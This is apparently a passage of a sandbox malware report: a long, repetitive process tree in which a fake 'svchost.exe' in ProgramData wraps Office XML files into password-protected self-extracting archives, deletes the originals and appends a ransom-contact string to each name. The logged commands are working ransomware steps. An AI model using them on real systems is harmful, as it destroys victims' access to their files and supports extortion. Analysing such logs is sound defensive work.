                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL058.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL058.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL065.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL065.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL075.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL075.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL077.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL077.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL078.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL078.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL081.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL081.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL082.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL082.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL083.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL083.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL086.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL086.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL087.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL087.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2148
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL089.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL089.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL090.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL090.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL092.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL092.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL093.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL093.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL095.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL095.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL096.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL096.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL097.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL097.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL102.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL102.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL103.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL103.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL104.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL104.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL105.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL105.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL106.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL106.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL107.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL107.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL108.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL108.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL109.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL109.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL110.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL110.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL111.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL111.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL112.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL112.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL115.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL115.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL116.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL116.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL117.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL117.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL118.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL118.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL119.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL119.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL120.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL120.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
